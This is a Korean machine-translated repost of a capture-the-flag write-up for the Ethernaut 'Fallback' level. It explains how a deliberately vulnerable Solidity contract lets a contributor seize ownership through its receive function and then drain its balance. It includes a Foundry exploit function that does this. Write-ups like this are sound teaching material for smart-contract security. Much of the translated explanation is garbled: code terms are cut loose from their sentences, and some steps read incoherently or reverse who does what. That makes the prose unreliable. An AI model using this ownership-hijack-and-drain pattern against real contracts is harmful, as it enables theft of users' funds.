Ethernaut Challenge #1 솔루션 — 폴백
The Ethernaut is a Web3/Solidity based wargame created by OpenZeppelin.
Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.
과제 #1: 폴백
Look carefully at the contract's code below.
You will beat this level if
- you claim ownership of the contract
- you reduce its balance to 0 Things that might help
- How to send ether when interacting with an ABI
- How to send ether outside of the ABI
- Converting to and from wei/ether units (see help() command)
- Fallback methods
Level author(s): Alejandro Santander
이 챌린지의 목표는
Fallback
계약의 소유권을 주장하고 잔액을 0으로 줄이는 것입니다.계약 연구
가장 먼저 눈에 띄는 것은 사용된 Solidity 컴파일러 버전이
< 0.8.x
입니다. 이것은 계약이 수학 언더플로 및 오버플로 버그가 발생하기 쉽다는 것을 의미합니다.이 계약은 OpenZeppelinSafeMath 라이브러리를 가져와서 사용하고 있지만 사용하지 않습니다. 적어도 이 특정한 경우에는 여전히 오버플로로 악용할 방법이 없습니다.
계약을 소진하는 유일한 방법은
withdraw
가 변수 값msg.sender
과 같은 경우에만 호출할 수 있는 owner
함수를 통하는 것입니다(onlyOwner
함수 수정자 참조). 이 기능은 계약의 모든 자금을 owner
주소로 전송합니다.코드를 살펴보겠습니다.
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
따라서
owner
값을 주소로 변경하는 방법을 찾으면 계약에서 모든 이더를 배출할 수 있습니다.계약에는 실제로
owner
변수가 msg.sender
로 업데이트되는 두 곳이 있습니다.contribute
함수receive
함수기여 기능
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
이 기능을 사용하면
msg.sender
가 wei
를 계약에 보낼 수 있습니다. 그것들wei
은 contributions
매핑 변수에 의해 추적되는 사용자의 잔액에 추가됩니다.사용자가 기여한 총 기여도가 실제 소유자(
contributions[msg.sender] > contributions[owner]
)가 기여한 것보다 크면 msg.sender
가 새 소유자가 됩니다.문제는 소유자의 기여도가
1000 ETH
와 같다는 것입니다. 챌린지 설명 어디에도 쓰여 있지 않지만 사용자가 owner
이상 기여할 수 없는 제한된 양의 ETH로 시작할 것이라고 생각할 수 있습니다. 그래서 우리는 다른 방법을 찾아야 합니다.수신 기능
이것은 트랜잭션의 "데이터"필드에 아무 것도 지정하지 않고 누군가 계약에 약간의 이더를 보낼 때 "자동으로"호출되는 "특수"기능입니다.
기능이 도입되었을 때 공식Solidity blog post에서 인용:
A contract can now have only one
receive
function, declared with the syntax:receive() external payable {…}
(without thefunction
keyword).
It executes on calls to the contract with no data (calldata
), e.g. calls made viasend()
ortransfer()
.
The function cannot have arguments, cannot return anything and must haveexternal
visibility andpayable
state mutability.
코드는 다음과 같습니다.
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
receive
함수에서 owner
는 트랜잭션과 함께 전송된 msg.sender
의 금액이 wei
이고 > 0
에 대한 우리의 기여가 contributions[msg.sender]
인 경우에만 > 0
로 업데이트됩니다.이 시점에서 우리는 퍼즐을 만들고 도전에서 승리할 수 있는 모든 조각을 가지고 있습니다. 해결책을 보자!
솔루션 코드
우리가 해야 할 일은 다음과 같습니다.
0.001 ether
함수를 호출하여 최대 require
(contribute
검사를 통과)와 계약에 기여하여 contributions[msg.sender]
가 01 wei
를 컨트랙트에 직접 전송하여 receive
기능을 트리거하고 새owner
가 됩니다.withdraw
에 전화를 걸어 계약서에 저장된 모든 ETH
를 집으로 가져오세요! Solidity 코드는 다음과 같습니다.
function exploitLevel() internal override {
vm.startPrank(player);
// send the minimum amount to become a contributor
level.contribute{value: 0.0001 ether}();
// send directly to the contract 1 wei, this will allow us to become the new owner
(bool sent, ) = address(level).call{value: 1}("");
require(sent, "Failed to send Ether to the level");
// now that we are the owner of the contract withdraw all the funds
level.withdraw();
vm.stopPrank();
}
챌린지 오프닝의 전체 솔루션을 읽을 수 있습니다Fallback.t.sol.
추가 자료
Solidity < 0.8
에만 필요)receive
함수Solidity blog post부인 성명
이 리포지토리의 모든 Solidity 코드, 관행 및 패턴은 DAMN VULNERABLE이며 교육 목적으로만 사용됩니다.
나는 어떠한 보증도 하지 않으며 이 코드베이스의 사용으로 인해 발생하는 손실에 대해 책임을 지지 않습니다.
생산에 사용하지 마십시오.
Reference
이 문제에 관하여(Ethernaut Challenge #1 솔루션 — 폴백), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/stermi/ethernaut-challenge-1-solution-fallback-18cj텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)